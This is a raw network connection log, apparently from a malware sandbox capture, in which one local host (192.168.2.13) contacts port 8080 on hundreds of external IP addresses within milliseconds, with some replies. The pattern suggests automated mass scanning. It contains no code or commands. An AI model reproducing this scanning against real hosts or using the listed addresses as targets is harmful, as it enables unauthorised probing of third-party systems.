Feb 19, 2025 19:43:15.960983992 CET	26802	8080	192.168.2.13	31.182.217.150
Feb 19, 2025 19:43:15.960988998 CET	8080	26802	95.59.132.209	192.168.2.13
Feb 19, 2025 19:43:15.960980892 CET	26802	8080	192.168.2.13	31.196.164.219
Feb 19, 2025 19:43:15.960993052 CET	26802	8080	192.168.2.13	94.20.111.36
Feb 19, 2025 19:43:15.960993052 CET	26802	8080	192.168.2.13	94.116.37.82
Feb 19, 2025 19:43:15.960993052 CET	26802	8080	192.168.2.13	95.75.171.233
Feb 19, 2025 19:43:15.960999966 CET	26802	8080	192.168.2.13	31.53.220.170
Feb 19, 2025 19:43:15.961004972 CET	26802	8080	192.168.2.13	31.193.165.49
Feb 19, 2025 19:43:15.961051941 CET	26802	8080	192.168.2.13	85.20.200.228
Feb 19, 2025 19:43:15.961051941 CET	26802	8080	192.168.2.13	31.3.216.188
Feb 19, 2025 19:43:15.961070061 CET	26802	8080	192.168.2.13	85.172.242.68
Feb 19, 2025 19:43:15.961070061 CET	26802	8080	192.168.2.13	62.240.53.6
Feb 19, 2025 19:43:15.961070061 CET	26802	8080	192.168.2.13	95.52.155.165
Feb 19, 2025 19:43:15.961070061 CET	26802	8080	192.168.2.13	31.215.84.119
Feb 19, 2025 19:43:15.961070061 CET	26802	8080	192.168.2.13	94.159.16.171
Feb 19, 2025 19:43:15.961070061 CET	26802	8080	192.168.2.13	94.194.57.26
Feb 19, 2025 19:43:15.961076021 CET	26802	8080	192.168.2.13	62.117.97.12
Feb 19, 2025 19:43:15.961076021 CET	26802	8080	192.168.2.13	31.109.151.1
Feb 19, 2025 19:43:15.961077929 CET	26802	8080	192.168.2.13	31.164.158.217
Feb 19, 2025 19:43:15.961078882 CET	26802	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:15.961078882 CET	26802	8080	192.168.2.13	31.0.165.2
Feb 19, 2025 19:43:15.961081028 CET	26802	8080	192.168.2.13	85.232.76.97
Feb 19, 2025 19:43:15.961081028 CET	26802	8080	192.168.2.13	95.145.255.228
Feb 19, 2025 19:43:15.961081028 CET	26802	8080	192.168.2.13	85.206.188.69
Feb 19, 2025 19:43:15.961091042 CET	26802	8080	192.168.2.13	62.33.229.8
Feb 19, 2025 19:43:15.961091995 CET	26802	8080	192.168.2.13	85.97.48.15
Feb 19, 2025 19:43:15.961091995 CET	26802	8080	192.168.2.13	62.210.189.212
Feb 19, 2025 19:43:15.961091995 CET	26802	8080	192.168.2.13	94.227.184.19
Feb 19, 2025 19:43:15.961093903 CET	26802	8080	192.168.2.13	62.36.206.131
Feb 19, 2025 19:43:15.961093903 CET	26802	8080	192.168.2.13	31.113.151.229
Feb 19, 2025 19:43:15.961093903 CET	26802	8080	192.168.2.13	31.126.36.158
Feb 19, 2025 19:43:15.961097002 CET	26802	8080	192.168.2.13	85.189.178.178
Feb 19, 2025 19:43:15.961097002 CET	26802	8080	192.168.2.13	62.119.175.41
Feb 19, 2025 19:43:15.961097002 CET	26802	8080	192.168.2.13	85.136.17.105
Feb 19, 2025 19:43:15.961108923 CET	26802	8080	192.168.2.13	31.241.93.148
Feb 19, 2025 19:43:15.962810993 CET	8080	26802	62.168.82.214	192.168.2.13
Feb 19, 2025 19:43:15.962841988 CET	26802	8080	192.168.2.13	62.168.82.214
Feb 19, 2025 19:43:15.963298082 CET	8080	26802	31.118.53.55	192.168.2.13
Feb 19, 2025 19:43:15.963319063 CET	8080	26802	94.247.49.245	192.168.2.13
Feb 19, 2025 19:43:15.963329077 CET	26802	8080	192.168.2.13	31.118.53.55
Feb 19, 2025 19:43:15.963356972 CET	8080	26802	94.39.23.251	192.168.2.13
Feb 19, 2025 19:43:15.963367939 CET	8080	26802	95.46.115.183	192.168.2.13
Feb 19, 2025 19:43:15.963376045 CET	26802	8080	192.168.2.13	94.247.49.245
Feb 19, 2025 19:43:15.963378906 CET	26802	8080	192.168.2.13	94.39.23.251
Feb 19, 2025 19:43:15.963443995 CET	26802	8080	192.168.2.13	95.46.115.183
Feb 19, 2025 19:43:15.964559078 CET	8080	26802	31.72.251.25	192.168.2.13
Feb 19, 2025 19:43:15.964571953 CET	8080	26802	85.84.152.126	192.168.2.13
Feb 19, 2025 19:43:15.964585066 CET	8080	26802	62.212.168.142	192.168.2.13
Feb 19, 2025 19:43:15.964586020 CET	26802	8080	192.168.2.13	31.72.251.25
Feb 19, 2025 19:43:15.964595079 CET	26802	8080	192.168.2.13	85.84.152.126
Feb 19, 2025 19:43:15.964607954 CET	8080	26802	62.184.69.121	192.168.2.13
Feb 19, 2025 19:43:15.964615107 CET	26802	8080	192.168.2.13	62.212.168.142
Feb 19, 2025 19:43:15.964621067 CET	8080	26802	31.224.71.137	192.168.2.13
Feb 19, 2025 19:43:15.964633942 CET	8080	26802	94.235.168.38	192.168.2.13
Feb 19, 2025 19:43:15.964643002 CET	26802	8080	192.168.2.13	62.184.69.121
Feb 19, 2025 19:43:15.964648008 CET	26802	8080	192.168.2.13	31.224.71.137
Feb 19, 2025 19:43:15.964658976 CET	8080	26802	31.9.155.170	192.168.2.13
Feb 19, 2025 19:43:15.964670897 CET	8080	26802	85.123.84.241	192.168.2.13
Feb 19, 2025 19:43:15.964682102 CET	26802	8080	192.168.2.13	94.235.168.38
Feb 19, 2025 19:43:15.964695930 CET	8080	26802	95.231.13.167	192.168.2.13
Feb 19, 2025 19:43:15.964708090 CET	8080	26802	62.96.191.144	192.168.2.13
Feb 19, 2025 19:43:15.964720011 CET	26802	8080	192.168.2.13	31.9.155.170
Feb 19, 2025 19:43:15.964720964 CET	8080	26802	94.12.222.90	192.168.2.13
Feb 19, 2025 19:43:15.964720011 CET	26802	8080	192.168.2.13	85.123.84.241
Feb 19, 2025 19:43:15.964720964 CET	26802	8080	192.168.2.13	95.231.13.167
Feb 19, 2025 19:43:15.964734077 CET	8080	26802	62.253.28.231	192.168.2.13
Feb 19, 2025 19:43:15.964741945 CET	26802	8080	192.168.2.13	62.96.191.144
Feb 19, 2025 19:43:15.964752913 CET	26802	8080	192.168.2.13	94.12.222.90
Feb 19, 2025 19:43:15.964757919 CET	26802	8080	192.168.2.13	62.253.28.231
Feb 19, 2025 19:43:15.965050936 CET	8080	26802	62.113.108.13	192.168.2.13
Feb 19, 2025 19:43:15.965065956 CET	8080	26802	31.215.2.218	192.168.2.13
Feb 19, 2025 19:43:15.965079069 CET	8080	26802	62.91.151.8	192.168.2.13
Feb 19, 2025 19:43:15.965092897 CET	8080	26802	95.128.1.164	192.168.2.13
Feb 19, 2025 19:43:15.965095043 CET	26802	8080	192.168.2.13	62.113.108.13
Feb 19, 2025 19:43:15.965100050 CET	26802	8080	192.168.2.13	31.215.2.218
Feb 19, 2025 19:43:15.965105057 CET	8080	26802	31.119.162.196	192.168.2.13
Feb 19, 2025 19:43:15.965111971 CET	26802	8080	192.168.2.13	62.91.151.8
Feb 19, 2025 19:43:15.965117931 CET	8080	26802	85.20.179.232	192.168.2.13
Feb 19, 2025 19:43:15.965123892 CET	26802	8080	192.168.2.13	95.128.1.164
Feb 19, 2025 19:43:15.965131998 CET	26802	8080	192.168.2.13	31.119.162.196
Feb 19, 2025 19:43:15.965143919 CET	26802	8080	192.168.2.13	85.20.179.232
Feb 19, 2025 19:43:15.965152979 CET	8080	26802	31.134.128.130	192.168.2.13
Feb 19, 2025 19:43:15.965166092 CET	8080	26802	94.197.65.67	192.168.2.13
Feb 19, 2025 19:43:15.965178013 CET	8080	26802	31.175.78.246	192.168.2.13
Feb 19, 2025 19:43:15.965193033 CET	8080	26802	95.85.142.137	192.168.2.13
Feb 19, 2025 19:43:15.965204954 CET	8080	26802	31.216.11.167	192.168.2.13
Feb 19, 2025 19:43:15.965217113 CET	8080	26802	94.242.38.1	192.168.2.13
Feb 19, 2025 19:43:15.965229988 CET	26802	8080	192.168.2.13	31.175.78.246
Feb 19, 2025 19:43:15.965230942 CET	8080	26802	85.29.98.39	192.168.2.13
Feb 19, 2025 19:43:15.965234041 CET	26802	8080	192.168.2.13	94.197.65.67
Feb 19, 2025 19:43:15.965235949 CET	26802	8080	192.168.2.13	95.85.142.137
Feb 19, 2025 19:43:15.965235949 CET	26802	8080	192.168.2.13	31.216.11.167
Feb 19, 2025 19:43:15.965245008 CET	8080	26802	31.209.94.222	192.168.2.13
Feb 19, 2025 19:43:15.965255976 CET	26802	8080	192.168.2.13	31.134.128.130
Feb 19, 2025 19:43:15.965255976 CET	26802	8080	192.168.2.13	85.29.98.39
Feb 19, 2025 19:43:15.965255976 CET	26802	8080	192.168.2.13	94.242.38.1
Feb 19, 2025 19:43:15.965270042 CET	8080	26802	31.159.99.162	192.168.2.13
Feb 19, 2025 19:43:15.965334892 CET	26802	8080	192.168.2.13	31.209.94.222
Feb 19, 2025 19:43:15.965338945 CET	8080	26802	85.205.147.107	192.168.2.13
Feb 19, 2025 19:43:15.965348959 CET	26802	8080	192.168.2.13	31.159.99.162
Feb 19, 2025 19:43:15.965358019 CET	8080	26802	95.200.152.156	192.168.2.13
Feb 19, 2025 19:43:15.965374947 CET	8080	26802	31.112.63.147	192.168.2.13
Feb 19, 2025 19:43:15.965389013 CET	8080	26802	95.232.253.19	192.168.2.13
Feb 19, 2025 19:43:15.965424061 CET	26802	8080	192.168.2.13	95.200.152.156
Feb 19, 2025 19:43:15.965425968 CET	26802	8080	192.168.2.13	31.112.63.147
Feb 19, 2025 19:43:15.965430021 CET	26802	8080	192.168.2.13	85.205.147.107
Feb 19, 2025 19:43:15.965432882 CET	26802	8080	192.168.2.13	95.232.253.19
Feb 19, 2025 19:43:15.965490103 CET	8080	26802	62.177.98.51	192.168.2.13
Feb 19, 2025 19:43:15.965503931 CET	8080	26802	62.29.205.52	192.168.2.13
Feb 19, 2025 19:43:15.965517044 CET	8080	26802	31.170.230.220	192.168.2.13
Feb 19, 2025 19:43:15.965531111 CET	8080	26802	85.224.68.95	192.168.2.13
Feb 19, 2025 19:43:15.965543032 CET	8080	26802	62.72.26.17	192.168.2.13
Feb 19, 2025 19:43:15.965559006 CET	26802	8080	192.168.2.13	62.177.98.51
Feb 19, 2025 19:43:15.965560913 CET	26802	8080	192.168.2.13	31.170.230.220
Feb 19, 2025 19:43:15.965569973 CET	8080	26802	95.77.135.176	192.168.2.13
Feb 19, 2025 19:43:15.965581894 CET	8080	26802	85.9.228.142	192.168.2.13
Feb 19, 2025 19:43:15.965586901 CET	26802	8080	192.168.2.13	62.29.205.52
Feb 19, 2025 19:43:15.965590954 CET	26802	8080	192.168.2.13	85.224.68.95
Feb 19, 2025 19:43:15.965590954 CET	26802	8080	192.168.2.13	62.72.26.17
Feb 19, 2025 19:43:15.965595007 CET	8080	26802	85.91.239.58	192.168.2.13
Feb 19, 2025 19:43:15.965598106 CET	26802	8080	192.168.2.13	95.77.135.176
Feb 19, 2025 19:43:15.965605974 CET	26802	8080	192.168.2.13	85.9.228.142
Feb 19, 2025 19:43:15.965619087 CET	26802	8080	192.168.2.13	85.91.239.58
Feb 19, 2025 19:43:15.965626955 CET	8080	26802	31.109.196.205	192.168.2.13
Feb 19, 2025 19:43:15.965639114 CET	8080	26802	94.214.185.93	192.168.2.13
Feb 19, 2025 19:43:15.965652943 CET	8080	26802	85.17.207.169	192.168.2.13
Feb 19, 2025 19:43:15.965666056 CET	8080	26802	94.181.66.180	192.168.2.13
Feb 19, 2025 19:43:15.965678930 CET	8080	26802	95.25.141.130	192.168.2.13
Feb 19, 2025 19:43:15.965702057 CET	26802	8080	192.168.2.13	31.109.196.205
Feb 19, 2025 19:43:15.965703011 CET	26802	8080	192.168.2.13	85.17.207.169
Feb 19, 2025 19:43:15.965703011 CET	26802	8080	192.168.2.13	94.214.185.93
Feb 19, 2025 19:43:15.965703011 CET	26802	8080	192.168.2.13	94.181.66.180
Feb 19, 2025 19:43:15.965711117 CET	26802	8080	192.168.2.13	95.25.141.130
Feb 19, 2025 19:43:15.965714931 CET	8080	26802	62.40.100.188	192.168.2.13
Feb 19, 2025 19:43:15.965728998 CET	8080	26802	62.109.240.116	192.168.2.13
Feb 19, 2025 19:43:15.965742111 CET	8080	26802	95.9.31.254	192.168.2.13
Feb 19, 2025 19:43:15.965751886 CET	26802	8080	192.168.2.13	62.40.100.188
Feb 19, 2025 19:43:15.965754986 CET	8080	26802	94.74.231.247	192.168.2.13
Feb 19, 2025 19:43:15.965760946 CET	26802	8080	192.168.2.13	62.109.240.116
Feb 19, 2025 19:43:15.965768099 CET	8080	26802	95.144.144.238	192.168.2.13
Feb 19, 2025 19:43:15.965773106 CET	26802	8080	192.168.2.13	95.9.31.254
Feb 19, 2025 19:43:15.965780973 CET	8080	26802	62.0.119.147	192.168.2.13
Feb 19, 2025 19:43:15.965792894 CET	8080	26802	94.104.17.69	192.168.2.13
Feb 19, 2025 19:43:15.965806007 CET	8080	26802	31.184.184.115	192.168.2.13
Feb 19, 2025 19:43:15.965830088 CET	26802	8080	192.168.2.13	94.104.17.69
Feb 19, 2025 19:43:15.965837955 CET	26802	8080	192.168.2.13	95.144.144.238
Feb 19, 2025 19:43:15.965837955 CET	26802	8080	192.168.2.13	62.0.119.147
Feb 19, 2025 19:43:15.965837955 CET	26802	8080	192.168.2.13	94.74.231.247
Feb 19, 2025 19:43:15.965840101 CET	26802	8080	192.168.2.13	31.184.184.115
Feb 19, 2025 19:43:15.965864897 CET	8080	26802	62.113.101.187	192.168.2.13
Feb 19, 2025 19:43:15.965881109 CET	8080	26802	62.70.138.0	192.168.2.13
Feb 19, 2025 19:43:15.965897083 CET	8080	26802	62.93.13.13	192.168.2.13
Feb 19, 2025 19:43:15.965900898 CET	26802	8080	192.168.2.13	62.113.101.187
Feb 19, 2025 19:43:15.965908051 CET	26802	8080	192.168.2.13	62.70.138.0
Feb 19, 2025 19:43:15.965914011 CET	8080	26802	94.49.76.210	192.168.2.13
Feb 19, 2025 19:43:15.965933084 CET	8080	26802	94.243.97.193	192.168.2.13
Feb 19, 2025 19:43:15.965950966 CET	8080	26802	31.204.205.170	192.168.2.13
Feb 19, 2025 19:43:15.965967894 CET	8080	26802	85.68.195.238	192.168.2.13
Feb 19, 2025 19:43:15.965971947 CET	26802	8080	192.168.2.13	62.93.13.13
Feb 19, 2025 19:43:15.965976954 CET	26802	8080	192.168.2.13	94.243.97.193
Feb 19, 2025 19:43:15.965986013 CET	26802	8080	192.168.2.13	94.49.76.210
Feb 19, 2025 19:43:15.965986013 CET	26802	8080	192.168.2.13	31.204.205.170
Feb 19, 2025 19:43:15.965995073 CET	8080	26802	94.50.15.228	192.168.2.13
Feb 19, 2025 19:43:15.966008902 CET	8080	26802	62.100.38.145	192.168.2.13
Feb 19, 2025 19:43:15.966017962 CET	26802	8080	192.168.2.13	85.68.195.238
Feb 19, 2025 19:43:15.966022015 CET	8080	26802	85.28.1.187	192.168.2.13
Feb 19, 2025 19:43:15.966022015 CET	26802	8080	192.168.2.13	94.50.15.228
Feb 19, 2025 19:43:15.966034889 CET	8080	26802	31.186.47.21	192.168.2.13
Feb 19, 2025 19:43:15.966037035 CET	26802	8080	192.168.2.13	62.100.38.145
Feb 19, 2025 19:43:15.966047049 CET	8080	26802	95.50.71.168	192.168.2.13
Feb 19, 2025 19:43:15.966059923 CET	8080	26802	94.16.254.143	192.168.2.13
Feb 19, 2025 19:43:15.966073036 CET	8080	26802	31.152.40.185	192.168.2.13
Feb 19, 2025 19:43:15.966085911 CET	8080	26802	85.93.200.105	192.168.2.13
Feb 19, 2025 19:43:15.966095924 CET	26802	8080	192.168.2.13	85.28.1.187
Feb 19, 2025 19:43:15.966098070 CET	8080	26802	85.116.84.78	192.168.2.13
Feb 19, 2025 19:43:15.966101885 CET	26802	8080	192.168.2.13	95.50.71.168
Feb 19, 2025 19:43:15.966101885 CET	26802	8080	192.168.2.13	31.152.40.185
Feb 19, 2025 19:43:15.966111898 CET	8080	26802	85.31.104.118	192.168.2.13
Feb 19, 2025 19:43:15.966116905 CET	26802	8080	192.168.2.13	85.93.200.105
Feb 19, 2025 19:43:15.966119051 CET	26802	8080	192.168.2.13	94.16.254.143
Feb 19, 2025 19:43:15.966119051 CET	26802	8080	192.168.2.13	31.186.47.21
Feb 19, 2025 19:43:15.966125965 CET	8080	26802	85.19.126.125	192.168.2.13
Feb 19, 2025 19:43:15.966128111 CET	26802	8080	192.168.2.13	85.116.84.78
Feb 19, 2025 19:43:15.966139078 CET	8080	26802	94.19.167.73	192.168.2.13
Feb 19, 2025 19:43:15.966147900 CET	26802	8080	192.168.2.13	85.31.104.118
Feb 19, 2025 19:43:15.966155052 CET	26802	8080	192.168.2.13	85.19.126.125
Feb 19, 2025 19:43:15.966166973 CET	26802	8080	192.168.2.13	94.19.167.73
Feb 19, 2025 19:43:15.966418028 CET	8080	26802	31.70.187.9	192.168.2.13
Feb 19, 2025 19:43:15.966432095 CET	8080	26802	95.74.50.30	192.168.2.13
Feb 19, 2025 19:43:15.966444969 CET	8080	26802	95.109.12.85	192.168.2.13
Feb 19, 2025 19:43:15.966454983 CET	26802	8080	192.168.2.13	31.70.187.9
Feb 19, 2025 19:43:15.966456890 CET	8080	26802	94.18.59.20	192.168.2.13
Feb 19, 2025 19:43:15.966464996 CET	26802	8080	192.168.2.13	95.74.50.30
Feb 19, 2025 19:43:15.966470957 CET	8080	26802	62.190.17.29	192.168.2.13
Feb 19, 2025 19:43:15.966479063 CET	26802	8080	192.168.2.13	95.109.12.85
Feb 19, 2025 19:43:15.966480970 CET	26802	8080	192.168.2.13	94.18.59.20
Feb 19, 2025 19:43:15.966485023 CET	8080	26802	31.195.227.26	192.168.2.13
Feb 19, 2025 19:43:15.966494083 CET	26802	8080	192.168.2.13	62.190.17.29
Feb 19, 2025 19:43:15.966499090 CET	8080	26802	95.154.37.49	192.168.2.13
Feb 19, 2025 19:43:15.966507912 CET	26802	8080	192.168.2.13	31.195.227.26
Feb 19, 2025 19:43:15.966511965 CET	8080	26802	95.118.184.198	192.168.2.13
Feb 19, 2025 19:43:15.966523886 CET	8080	26802	85.189.72.129	192.168.2.13
Feb 19, 2025 19:43:15.966530085 CET	26802	8080	192.168.2.13	95.154.37.49
Feb 19, 2025 19:43:15.966538906 CET	8080	26802	62.142.253.227	192.168.2.13
Feb 19, 2025 19:43:15.966540098 CET	26802	8080	192.168.2.13	95.118.184.198
Feb 19, 2025 19:43:15.966552019 CET	8080	26802	85.134.180.229	192.168.2.13
Feb 19, 2025 19:43:15.966581106 CET	26802	8080	192.168.2.13	62.142.253.227
Feb 19, 2025 19:43:15.966595888 CET	8080	26802	95.48.196.40	192.168.2.13
Feb 19, 2025 19:43:15.966597080 CET	26802	8080	192.168.2.13	85.189.72.129
Feb 19, 2025 19:43:15.966602087 CET	8080	26802	85.254.42.153	192.168.2.13
Feb 19, 2025 19:43:15.966608047 CET	8080	26802	31.208.26.227	192.168.2.13
Feb 19, 2025 19:43:15.966619015 CET	8080	26802	95.126.6.39	192.168.2.13
Feb 19, 2025 19:43:15.966628075 CET	8080	26802	62.27.214.81	192.168.2.13
Feb 19, 2025 19:43:15.966636896 CET	8080	26802	85.91.154.202	192.168.2.13
Feb 19, 2025 19:43:15.966643095 CET	8080	26802	94.242.29.121	192.168.2.13
Feb 19, 2025 19:43:15.966649055 CET	8080	26802	62.71.218.90	192.168.2.13
Feb 19, 2025 19:43:15.966655970 CET	8080	26802	31.18.31.131	192.168.2.13
Feb 19, 2025 19:43:15.966660976 CET	8080	26802	85.101.211.21	192.168.2.13
Feb 19, 2025 19:43:15.966665983 CET	26802	8080	192.168.2.13	85.254.42.153
Feb 19, 2025 19:43:15.966665983 CET	26802	8080	192.168.2.13	95.48.196.40
Feb 19, 2025 19:43:15.966670036 CET	26802	8080	192.168.2.13	85.134.180.229
Feb 19, 2025 19:43:15.966682911 CET	8080	26802	85.155.229.171	192.168.2.13
Feb 19, 2025 19:43:15.966695070 CET	8080	26802	94.94.79.92	192.168.2.13
Feb 19, 2025 19:43:15.966701031 CET	8080	26802	94.36.161.68	192.168.2.13
Feb 19, 2025 19:43:15.966713905 CET	8080	26802	62.75.60.109	192.168.2.13
Feb 19, 2025 19:43:15.966720104 CET	8080	26802	85.68.221.252	192.168.2.13
Feb 19, 2025 19:43:15.966731071 CET	8080	26802	95.94.210.210	192.168.2.13
Feb 19, 2025 19:43:15.966731071 CET	26802	8080	192.168.2.13	94.242.29.121
Feb 19, 2025 19:43:15.966732979 CET	26802	8080	192.168.2.13	85.155.229.171
Feb 19, 2025 19:43:15.966741085 CET	26802	8080	192.168.2.13	62.71.218.90
Feb 19, 2025 19:43:15.966743946 CET	26802	8080	192.168.2.13	31.18.31.131
Feb 19, 2025 19:43:15.966746092 CET	26802	8080	192.168.2.13	85.91.154.202
Feb 19, 2025 19:43:15.966747999 CET	26802	8080	192.168.2.13	62.27.214.81
Feb 19, 2025 19:43:15.966748953 CET	26802	8080	192.168.2.13	31.208.26.227
Feb 19, 2025 19:43:15.966748953 CET	26802	8080	192.168.2.13	94.94.79.92
Feb 19, 2025 19:43:15.966752052 CET	8080	26802	31.75.132.91	192.168.2.13
Feb 19, 2025 19:43:15.966753006 CET	26802	8080	192.168.2.13	95.126.6.39
Feb 19, 2025 19:43:15.966758966 CET	26802	8080	192.168.2.13	94.36.161.68
Feb 19, 2025 19:43:15.966762066 CET	26802	8080	192.168.2.13	62.75.60.109
Feb 19, 2025 19:43:15.966763973 CET	26802	8080	192.168.2.13	85.101.211.21
Feb 19, 2025 19:43:15.966769934 CET	26802	8080	192.168.2.13	95.94.210.210
Feb 19, 2025 19:43:15.966770887 CET	8080	26802	62.124.56.11	192.168.2.13
Feb 19, 2025 19:43:15.966772079 CET	26802	8080	192.168.2.13	85.68.221.252
Feb 19, 2025 19:43:15.966788054 CET	26802	8080	192.168.2.13	31.75.132.91
Feb 19, 2025 19:43:15.966789007 CET	8080	26802	31.103.100.85	192.168.2.13
Feb 19, 2025 19:43:15.966806889 CET	8080	26802	31.24.132.254	192.168.2.13
Feb 19, 2025 19:43:15.966809034 CET	26802	8080	192.168.2.13	62.124.56.11
Feb 19, 2025 19:43:15.966829062 CET	8080	26802	31.58.154.178	192.168.2.13
Feb 19, 2025 19:43:15.966836929 CET	26802	8080	192.168.2.13	31.103.100.85
Feb 19, 2025 19:43:15.966854095 CET	8080	26802	31.168.9.149	192.168.2.13
Feb 19, 2025 19:43:15.966856956 CET	26802	8080	192.168.2.13	31.24.132.254
Feb 19, 2025 19:43:15.966871023 CET	8080	26802	62.66.223.97	192.168.2.13
Feb 19, 2025 19:43:15.966886997 CET	8080	26802	62.39.81.41	192.168.2.13
Feb 19, 2025 19:43:15.966905117 CET	8080	26802	31.162.3.29	192.168.2.13
Feb 19, 2025 19:43:15.966907024 CET	26802	8080	192.168.2.13	62.66.223.97
Feb 19, 2025 19:43:15.966907024 CET	26802	8080	192.168.2.13	31.58.154.178
Feb 19, 2025 19:43:15.966907024 CET	26802	8080	192.168.2.13	31.168.9.149
Feb 19, 2025 19:43:15.966918945 CET	8080	26802	94.81.85.120	192.168.2.13
Feb 19, 2025 19:43:15.966919899 CET	26802	8080	192.168.2.13	62.39.81.41
Feb 19, 2025 19:43:15.966931105 CET	8080	26802	62.238.247.192	192.168.2.13
Feb 19, 2025 19:43:15.966942072 CET	26802	8080	192.168.2.13	94.81.85.120
Feb 19, 2025 19:43:15.966943979 CET	26802	8080	192.168.2.13	31.162.3.29
Feb 19, 2025 19:43:15.966943979 CET	8080	26802	62.104.158.97	192.168.2.13
Feb 19, 2025 19:43:15.967004061 CET	26802	8080	192.168.2.13	62.238.247.192
Feb 19, 2025 19:43:15.967004061 CET	26802	8080	192.168.2.13	62.104.158.97
Feb 19, 2025 19:43:15.967504025 CET	8080	26802	94.157.141.163	192.168.2.13
Feb 19, 2025 19:43:15.967516899 CET	8080	26802	85.133.171.211	192.168.2.13
Feb 19, 2025 19:43:15.967529058 CET	8080	26802	94.28.89.226	192.168.2.13
Feb 19, 2025 19:43:15.967540979 CET	8080	26802	85.220.231.22	192.168.2.13
Feb 19, 2025 19:43:15.967545033 CET	26802	8080	192.168.2.13	94.157.141.163
Feb 19, 2025 19:43:15.967545033 CET	26802	8080	192.168.2.13	85.133.171.211
Feb 19, 2025 19:43:15.967557907 CET	8080	26802	85.154.160.227	192.168.2.13
Feb 19, 2025 19:43:15.967565060 CET	26802	8080	192.168.2.13	94.28.89.226
Feb 19, 2025 19:43:15.967571974 CET	26802	8080	192.168.2.13	85.220.231.22
Feb 19, 2025 19:43:15.967576027 CET	8080	26802	85.218.162.248	192.168.2.13
Feb 19, 2025 19:43:15.967582941 CET	26802	8080	192.168.2.13	85.154.160.227
Feb 19, 2025 19:43:15.967587948 CET	8080	26802	62.159.23.130	192.168.2.13
Feb 19, 2025 19:43:15.967612028 CET	8080	26802	31.157.246.36	192.168.2.13
Feb 19, 2025 19:43:15.967612028 CET	26802	8080	192.168.2.13	85.218.162.248
Feb 19, 2025 19:43:15.967626095 CET	8080	26802	62.227.255.2	192.168.2.13
Feb 19, 2025 19:43:15.967638016 CET	8080	26802	31.194.11.61	192.168.2.13
Feb 19, 2025 19:43:15.967652082 CET	8080	26802	94.31.162.150	192.168.2.13
Feb 19, 2025 19:43:15.967662096 CET	26802	8080	192.168.2.13	62.159.23.130
Feb 19, 2025 19:43:15.967674017 CET	8080	26802	62.252.212.176	192.168.2.13
Feb 19, 2025 19:43:15.967674017 CET	26802	8080	192.168.2.13	31.157.246.36
Feb 19, 2025 19:43:15.967674971 CET	26802	8080	192.168.2.13	62.227.255.2
Feb 19, 2025 19:43:15.967679024 CET	26802	8080	192.168.2.13	31.194.11.61
Feb 19, 2025 19:43:15.967679024 CET	26802	8080	192.168.2.13	94.31.162.150
Feb 19, 2025 19:43:15.967688084 CET	8080	26802	31.55.178.108	192.168.2.13
Feb 19, 2025 19:43:15.967700958 CET	8080	26802	85.33.52.66	192.168.2.13
Feb 19, 2025 19:43:15.967704058 CET	26802	8080	192.168.2.13	62.252.212.176
Feb 19, 2025 19:43:15.967714071 CET	8080	26802	31.61.146.86	192.168.2.13
Feb 19, 2025 19:43:15.967717886 CET	26802	8080	192.168.2.13	31.55.178.108
Feb 19, 2025 19:43:15.967726946 CET	26802	8080	192.168.2.13	85.33.52.66
Feb 19, 2025 19:43:15.967740059 CET	26802	8080	192.168.2.13	31.61.146.86
Feb 19, 2025 19:43:15.967750072 CET	8080	26802	95.155.45.111	192.168.2.13
Feb 19, 2025 19:43:15.967765093 CET	8080	26802	94.19.125.200	192.168.2.13
Feb 19, 2025 19:43:15.967781067 CET	8080	26802	62.250.240.211	192.168.2.13
Feb 19, 2025 19:43:15.967801094 CET	26802	8080	192.168.2.13	94.19.125.200
Feb 19, 2025 19:43:15.967802048 CET	26802	8080	192.168.2.13	95.155.45.111
Feb 19, 2025 19:43:15.967816114 CET	26802	8080	192.168.2.13	62.250.240.211
Feb 19, 2025 19:43:15.967819929 CET	8080	26802	62.88.169.59	192.168.2.13
Feb 19, 2025 19:43:15.967837095 CET	8080	26802	31.169.177.2	192.168.2.13
Feb 19, 2025 19:43:15.967853069 CET	26802	8080	192.168.2.13	62.88.169.59
Feb 19, 2025 19:43:15.967853069 CET	8080	26802	62.127.129.76	192.168.2.13
Feb 19, 2025 19:43:15.967869043 CET	8080	26802	95.170.137.79	192.168.2.13
Feb 19, 2025 19:43:15.967871904 CET	26802	8080	192.168.2.13	31.169.177.2
Feb 19, 2025 19:43:15.967888117 CET	8080	26802	85.143.109.249	192.168.2.13
Feb 19, 2025 19:43:15.967900991 CET	8080	26802	85.135.224.218	192.168.2.13
Feb 19, 2025 19:43:15.967914104 CET	8080	26802	95.71.0.133	192.168.2.13
Feb 19, 2025 19:43:15.967926979 CET	8080	26802	62.86.96.49	192.168.2.13
Feb 19, 2025 19:43:15.967936993 CET	26802	8080	192.168.2.13	62.127.129.76
Feb 19, 2025 19:43:15.967940092 CET	8080	26802	31.89.117.137	192.168.2.13
Feb 19, 2025 19:43:15.967947006 CET	26802	8080	192.168.2.13	95.170.137.79
Feb 19, 2025 19:43:15.967950106 CET	26802	8080	192.168.2.13	95.71.0.133
Feb 19, 2025 19:43:15.967950106 CET	26802	8080	192.168.2.13	85.135.224.218
Feb 19, 2025 19:43:15.967952967 CET	26802	8080	192.168.2.13	85.143.109.249
Feb 19, 2025 19:43:15.967952967 CET	26802	8080	192.168.2.13	62.86.96.49
Feb 19, 2025 19:43:15.967955112 CET	8080	26802	85.7.186.13	192.168.2.13
Feb 19, 2025 19:43:15.967967987 CET	8080	26802	95.166.123.60	192.168.2.13
Feb 19, 2025 19:43:15.967973948 CET	26802	8080	192.168.2.13	31.89.117.137
Feb 19, 2025 19:43:15.967978954 CET	26802	8080	192.168.2.13	85.7.186.13
Feb 19, 2025 19:43:15.967981100 CET	8080	26802	95.147.252.83	192.168.2.13
Feb 19, 2025 19:43:15.967993021 CET	26802	8080	192.168.2.13	95.166.123.60
Feb 19, 2025 19:43:15.967994928 CET	8080	26802	94.103.141.211	192.168.2.13
Feb 19, 2025 19:43:15.968008041 CET	8080	26802	85.100.204.76	192.168.2.13
Feb 19, 2025 19:43:15.968020916 CET	8080	26802	95.26.220.246	192.168.2.13
Feb 19, 2025 19:43:15.968034029 CET	8080	26802	85.0.246.113	192.168.2.13
Feb 19, 2025 19:43:15.968053102 CET	26802	8080	192.168.2.13	95.147.252.83
Feb 19, 2025 19:43:15.968064070 CET	26802	8080	192.168.2.13	85.100.204.76
Feb 19, 2025 19:43:15.968065023 CET	26802	8080	192.168.2.13	85.0.246.113
Feb 19, 2025 19:43:15.968069077 CET	26802	8080	192.168.2.13	94.103.141.211
Feb 19, 2025 19:43:15.968069077 CET	26802	8080	192.168.2.13	95.26.220.246
